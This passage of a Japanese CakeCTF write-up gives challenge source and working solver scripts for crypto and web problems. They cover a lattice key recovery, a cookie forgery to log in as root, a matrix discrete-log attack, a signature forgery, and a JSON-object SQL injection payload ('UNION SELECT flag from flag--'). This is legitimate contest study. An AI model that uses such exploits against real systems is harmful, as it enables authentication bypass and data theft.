     [ 0,  0, 0, 0,   q*w2]
]

L = Matrix(M).LLL()

for row in L:
  if row[4]==0:
    t1 = abs(row[0]//w1)
    t2 = abs(row[1]//w1)
    if 390 <= int(t1).bit_length() <= 400 and 390 <= int(t2).bit_length() <= 400:
      print("t1:", t1)
      print("t2:", t2)
      f = PR(t1*s2 - t2*s1 - t1*u2*z2 + t2*z1*u1)
      roots = small_roots(f, bounds, d=2, m=4)
      k_inv1 = int(roots[0][0])
      k_inv2 = int(roots[0][1])
      x1 = inverse(int(t1),q) * (s1 - z1*k_inv1) % q
      x2 = inverse(int(t2),q) * (s2 - z2*k_inv2) % q
      assert x1 == x2
      x = int(x1)
      break

r, s = sign(m.encode()+bsalt, int(x))

readuntil("[s]ign or [v]erify:")
sendline("v")
readline()
readuntil("m = ")
sendline(m)
readuntil("r = ")
sendline(str(r))
readuntil("s = ")
sendline(str(s))
print(readline())
tn.close()

フラグ

CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}

5.2. ding-dong-ting-ping(220 pts, 17 solved)

設問

 以下のサーバプログラム(と接続先)が示されます。

「server.py」

import os
from base64 import b64decode, b64encode
from hashlib import md5
from datetime import datetime
from Crypto.Cipher import AES

FLAG = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")
PREFIX = os.environ.get("PREFIX", "cake").encode()

KEY = os.urandom(16)
IV = os.urandom(16)
aes = AES.new(KEY, AES.MODE_ECB)

xor = lambda a, b: bytes([x^y for x, y in zip(a, b)])

def pad(data: bytes):
    l = 16 - len(data) % 16
    return data + bytes([l]*l)

def unpad(data: bytes):
    return data[:-data[-1]]

def encrypt(plain: bytes):
    plain = pad(plain)
    blocks = [plain[i:i+16] for i in range(0, len(plain), 16)]
    ciphers = [IV]
    for block in blocks:
        block = xor(block, md5(ciphers[-1]).digest())
        ciphers.append(aes.encrypt(block))
    return b"".join(ciphers)

def decrypt(cipher: bytes):
    blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
    h = md5(blocks[0]).digest() # IV
    plains = []
    for block in blocks[1:]:
        plains.append(xor(aes.decrypt(block), h))
        h = md5(block).digest()
    return unpad(b"".join(plains))    

def register():
    username = b64decode(input("username(base64): ").strip())
    if b"root" in username:
        print("Cannot register as root user!")
    else:
        cookie = b"|".join([PREFIX, b"user="+username, str(datetime.now()).encode()])
        cookie = encrypt(cookie)
        cookie = b64encode(cookie)
        print("your cookie =>", cookie.decode())
    return

def login():
    cookie = input("cookie: ").strip()
    cookie = decrypt(b64decode(cookie))
    data = cookie.split(b"|")
    if (data[0] == PREFIX) and data[1].startswith(b"user="):
        username = data[1].split(b"=")[1]
        time = data[2]
    else:
        print("Authentication unsuccessful...")
        return
    print(f"Hi, {username.decode()}! [registered at {time.decode()}]")
    if username != b"root":
        print("You're not the root user...")
    else:
        print("Ding-Dong, Ding-Dong, Welcome, root. The ultimate authority has logged in.")
        print("This is for you => ", FLAG)
    return

while True:
    print("===== MENU =====")
    choice = int(input("[1]register [2]login: ").strip())
    if choice == 1:
        register()
    elif choice == 2:
        login()
    else:
        print("Invalid choice")
    print()

検討

 プレイヤーが使うことができるサーバの機能は「登録」と「ログイン」です。

 「登録」では、入力されたユーザ名をもとに Cookie が生成され、Base64 encodeした形で返されます。制約として、ユーザ名に「root」を含むことはできません。

 「ログイン」では Cookie を送信し、条件を満たしていれば認証成功となりあす。ユーザ名として解釈される部分が「root」であれば、フラグが得られます。

 この手の問題の解法としては、Cookie の改ざんが主流です。暗号化のモードがほぼ CBC *18なので、よく知られている CBC モードへの攻撃と同じような手法が使えそうな気がしてきます。

 着眼点としては、ユーザ名として送信するデータのチェックが甘く、例えば区切り文字として使われる「|」を送信できるところに気を付けておきます。

 また、ネックとなるのが「PREFIX」の存在ですが、長さを推定することはできそうです。

解法・ソルバ

 最初に、PREFIXの長さを算出しました。

「test.py」

import telnetlib
import base64

HOST = <redacted>
PORT = <redacted>

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

tn = telnetlib.Telnet(HOST, PORT)

def register(name_b64):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("1")
  readuntil("username(base64):")
  sendline(name_b64.decode())
  cookie = readline().strip().decode().replace("your cookie => ","")
  readline()
  return cookie

prev = ""
for i in range(16):
  name = "A" * (i+1)
  cookie = register(base64.b64encode(name.encode()))
  current = base64.b64decode(cookie.encode())[32:48]
  if current == prev:
    print("Length is" i+9)
    break
  prev = current
tn.close()

 PREFIX の長さは 17byte で、はみ出しているのが 1byte なので余裕で総当たりできます。ソルバは以下です。

「solve.py」

import telnetlib
import base64
from hashlib import md5

HOST = <redacted>
PORT = <redacted>

xor = lambda a, b: bytes([x^y for x, y in zip(a, b)])

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def register(name_b64):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("1")
  readuntil("username(base64):")
  sendline(name_b64.decode())
  cookie = readline().strip().decode().replace("your cookie => ","")
  readline()
  return cookie

def login(cookie):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("2")
  readuntil("cookie: ")
  sendline(cookie.decode())
  print(readline())
  print(readline())
  print(readline())

tn = telnetlib.Telnet(HOST, PORT)

name = "test|===|"
cookie = register(base64.b64encode(name.encode()))
print(f"original_cookie:{cookie}")
ct = base64.b64decode(cookie.encode())
ct1 = ct[16:32]
ct2 = ct[32:48]
magic = xor(md5(ct1).digest(), md5(ct2).digest())

for x in range(0x100):
  if x == ord("|"):
    continue
  tail_of_prefix = chr(x)
  xname = (tail_of_prefix + "|user=" + name).encode()
  assert len(xname) == 16
  _cookie = register(base64.b64encode(name.encode() + xor(magic, xname)))
  _ct = base64.b64decode(_cookie.encode())
  _ct1 = _ct[16:32]
  _ct2 = _ct[32:48]
  _ct3 = _ct[48:64]
  print(f"x = {x}, _ct1:{_ct1.hex()}, _ct2:{_ct2.hex()}, _ct2:{_ct3.hex()}")
  if _ct2 == _ct3:
    print("tail of prefix leaked!!", tail_of_prefix)
    break

rootleak_name = (tail_of_prefix + "|user=root|===|").encode()
rootleak_cookie = register(base64.b64encode(name.encode() + xor(magic,rootleak_name)))
rootleak_ct = base64.b64decode(rootleak_cookie.encode())
print(f"ct1:{rootleak_ct[16:32].hex()}, ct2:{rootleak_ct[32:48].hex()}, ct3:{rootleak_ct[48:64].hex()}")
exploit_cookie = base64.b64encode(ct[0:32] + rootleak_ct[48:])
login(exploit_cookie)

tn.close()

フラグ

CakeCTF{dongdingdongding-dingdong-dongdingdong-ding}

5.3. janken vs yoshiking(144 pts, 43 solved)

設問

 以下のサーバプログラム(と接続先)が示されます。

import random
import signal
import os

HANDNAMES = {
    1: "Rock",
    2: "Scissors",
    3: "Paper"
}

def commit(M, m):
    while True:
        r = random.randint(2, 2**256)
        if r % 3 + 1 == m:
            break
    return M**r, r


signal.alarm(1000)

flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}")
p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
M = random_matrix(GF(p), 5)
print("[yoshiking]: Hello! Let's play Janken(RPS)")
print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list()))

round = 0
wins = 0
while True:
    round += 1
    print("[system]: ROUND {}".format(round))

    yoshiking_hand = random.randint(1, 3)
    C, r = commit(M, yoshiking_hand)
    print("[yoshiking]: my commitment is={}".format(C.list()))

    hand = input("[system]: your hand(1-3): ")
    print("")
    try:
        hand = int(hand)
        if not (1 <= hand <= 3):
            raise ValueError()
    except ValueError:
        print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(")
        exit()

    print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand]))
    print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand]))
    result = (yoshiking_hand - hand + 3) % 3
    if result == 0:
        print("[yoshiking]: Draw, draw, draw!!!")
        print("[yoshiking]: I'm only respect to win!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()
    elif result == 1:
        print("[yoshiking]: Yo! You win!!! Ho!")
        wins += 1
        print("[system]: wins: {}".format(wins))

        if wins >= 100:
            break
    elif result == 2:
        print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!")
        print("[yoshiking]: You, good loser!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()

print("[yoshiking]: Wow! You are the king of roshambo!")
print("[yoshiking]: suge- flag ageru")
print(flag)

検討

 行列の DLP は order の計算がしんどく、時間内に終わりそうにありません。しばらくの間虚無っていました。

 しかし時を経て、行列式で考えれば問題は解決しそうなことに気づきました。

 しかも、なんとな~く p-1 を Factor DBに投げてみると、めっちゃ smooth(素因数はどれも 1000 以下)なのが分かりました。

 これは、行けそうです!

解法・ソルバ

「solve.sage」

from Crypto.Util.number import *
import gmpy2
import telnetlib

p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
F = GF(p)

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def list2mat(lst):
  M = matrix(F,5,5)
  for i in range(25):
    M[i%5, i//5] = lst[i]
  return M

def choose_hand(yhand):
  # (yoshiking_hand - hand + 3) % 3 == 1
  myhand = (yhand  - 2) % 3 + 1
  return myhand

HOST = <redacted>
PORT = <redacted>
tn = telnetlib.Telnet(HOST, PORT)

readline()
p, _M = readline().decode().strip().replace("[yoshiking]: Here is p: ", "").split(", and M: ")
p = eval(p)
print(f"_M = {_M}")
M = list2mat(list(eval(_M)))
print(f"p = {p}")
#print(f"M = {M}")
g = F(det(M))
print(f"g={g}")

for i in range(100):
  readline()
  Mr = list2mat(list(eval(readline().decode().strip().replace("[yoshiking]: my commitment is=", ""))))
  a = F(det(Mr))
  print(f"a={a}")
  d = int(a.log(g))
  print(f"d={d}")
  yoshikings_hand = d % 3 + 1
  myhand = choose_hand(yoshikings_hand)
  readuntil("[system]: your hand(1-3): ")
  sendline(str(myhand))
  for _ in range(5):
    readline()

for _ in range(3):
  print(readline())
tn.close()

フラグ

CakeCTF{though_yoshiking_may_die_janken_will_never_perish}

5.4. simple signature(105 pts, 88 solved)

設問

 以下のサーバプログラム(と接続先)が示されます。

「server.py」

import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p-1)
        y = getRandomRange(2, p-1)
        w = getRandomRange(2, p-1)

        v = w * y % (p-1)
        if GCD(v, p-1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p-1) % (p-1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p-1)

    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

検討

 x, y, u, m を固定したとき、任意の r について s(r) = pow(g, x*m + r*y, p), t(r) = pow(g, u*m + r, p) は verify を通過できます。

 ですので未知数 x が居なくなるよう r = 1 - u*m とすれば、s = pow(g, inverse(w,p-1)*m+y, p)、 t = 2 ですが、これも当然 verify を通過します。

解法・ソルバ

「solve.py」

from Crypto.Util.number import *
from hashlib import sha512
import gmpy2
import telnetlib

HOST = <redacted>
PORT = <redacted>

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

tn = telnetlib.Telnet(HOST, PORT)

message = "cake_does_not_eat_cat"
m = int(sha512(message.encode()).hexdigest(), 16)

for _ in range(3):
  exec(readline())

w,v = vkey
y = v * inverse(w,p-1) % (p-1)
s = pow(g, (inverse(w,p-1)*m + y) % (p-1), p)
t = 2

readuntil("[S]ign, [V]erify: ")
sendline("V")
readuntil("message: ")
sendline(message)
readuntil("s: ")
sendline(str(s))
readuntil("t: ")
sendline(str(t))
print(readline())
print(readline())
tn.close()

フラグ

CakeCTF{does_yoshiking_eat_cake_or_cat?}

5.5. simple signature(68 pts, 246 solved)

設問

サーバ側のファイルセット(と接続先URL)が提供されます。

「app.py」

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

「initdb.py」

import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),

    <中略>

    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

検討

 SQL injection の脆弱性がありそうです。

 len(code) == 2 のチェックがあるので、文字列ではだめそうです。

 しかし、オブジェクトであれば長さを 2 にでき、しかもいい感じの SQLi のexploit を仕立てることができます*19

解法・ソルバ

「solve.py」

import requests
url = "http://<redacted>/api/search"
to_send = {"code":{"') UNION SELECT flag from flag--":2,3:4}}
code = to_send['code']
headers = {"content-type":"application/json"}
res = requests.post(url=url, headers=headers, json=to_send)
print(res.text)

フラグ

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

*1:そんなこんなで2022 年の大会からスポンサーとしても協力させていただいております。

*2:「ボス問」や、長年あちこちで負け続けていた「vs yoshiking」を倒せたのは正直かなり嬉しかったです。

*3:解けたのは Crypto の Warmup + 1 問だけでした。

*4:自分が解けるとは言ってません。言ってません。

*5:結果的に、これが良い Warm up になったっぽいです。

*6:明らかに食い過ぎ。

*7:しばらくの間、行列の乗法 order を計算しようとして虚無ってました。

*8:とりあえずdefund-coppersmithで雑に試すも失敗。

*9:CTF終了直後に昼食とするため。

*10:良質な問題が揃った CTF で Solve 数の少ない「ボス問」を解いたのはおそらくこれが初めてです。

*11:pwnのタグが付いた「decryptyou」は残してしまいました。

*12:但し後述のとおり、解き方には疑問が残ります。

*13:ここでは省略します。

*14:もちろんミスリードの可能性も皆無はないことは承知の上です。

*15:後で試してみたところ、4~5 回に 1 回程度の割合で成功するようです。おそらく行列の作りがおかしいと思われるので、他の方の Writeup で復習しようと思います。

*16:真田丸」です。

*17:see https://github.com/defund/coppersmith/blob/master/coppersmith.sage .

*18:md5 していますが、本質的には変わらず。

*19:前週に開催された TSG CTF の復習が役に立ちました。